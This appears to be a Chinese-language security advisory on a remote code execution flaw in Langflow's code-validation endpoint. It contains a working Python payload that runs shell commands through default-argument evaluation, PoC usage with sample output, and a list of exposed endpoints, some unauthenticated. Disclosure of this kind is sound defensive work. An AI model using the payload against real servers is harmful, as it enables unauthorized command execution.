Langflow 在 src/lfx/src/lfx/custom/validate.py 中的 validate_code() 函数存在一个严重的远程代码执行漏洞。该函数使用 exec() 执行用户提供的 Python 代码,且没有沙箱隔离,允许在服务器上执行任意命令。
在相关函数和端点中已发现类似漏洞:
validate_code() 函数解析用户提供的代码,并使用 exec() 执行函数定义:
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- 任意代码执行
exec_globals 上下文包含对 importlib 和 Python 内置函数的访问权限,允许攻击者导入危险模块(os、subprocess、socket)并执行任意系统命令。
* 当 AUTO_LOGIN=true(默认配置)时,认证可以被绕过
validate.py 中的以下函数也使用了不安全的 exec():
validate_code() 函数只执行函数定义,而不执行函数调用。为了实现代码执行并外泄输出,我们利用 Python 对默认参数的求值顺序。
关键洞察: 默认参数表达式在函数定义时求值,而不是在函数调用时。
def foo(x=print("I execute immediately")):
pass
然而,我们需要通过 HTTP 响应外泄输出。端点会在响应体中返回错误信息,因此我们需要抛出一个包含输出的异常。
问题: raise 是语句,不是表达式,因此不能直接在默认参数中使用。
解决方案: 使用生成器的 .throw() 方法,它可以抛出异常,并且是表达式:
(_ for _ in ()).throw(Exception("output here"))
这会创建一个空生成器并立即抛出异常。结合 lambda 来捕获命令输出:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
执行流程:
exec() 运行函数定义_=... 立即被求值subprocess.run() 执行命令.throw()validate_code() 捕获异常并在响应中返回错误信息python poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| 标志 | 描述 |
|---|---|
-t, --target | 目标 URL(必需) |
-c, --command | 要执行的命令(默认:id && whoami) |
-k, --token | JWT 令牌(可选,默认使用自动登录) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py| 端点 | 认证 | 攻击向量 |
|---|
POST /api/v1/validate/code | 必需* | 直接提交代码 |
POST /api/v1/custom_component | 必需* | 组件定义中的代码 |
POST /api/v1/custom_component/update | 必需* | 组件更新中的代码 |
POST /api/v1/webhook/{flow_id} | 无 | 包含代码组件的流程 |
POST /api/v1/build_public_tmp/{flow_id}/flow | 无 | 公共流程执行 |
| 函数 | 行号 | 描述 |
|---|
validate_code() | 66 | 验证用户代码 |
eval_function() | 140 | 评估函数字符串 |
execute_function() | 182 | 执行任意函数 |
create_function() | 227 | 从代码创建函数 |
create_class() | 241-442 | 通过 prepare_global_scope() 和 build_class_constructor() 创建类 |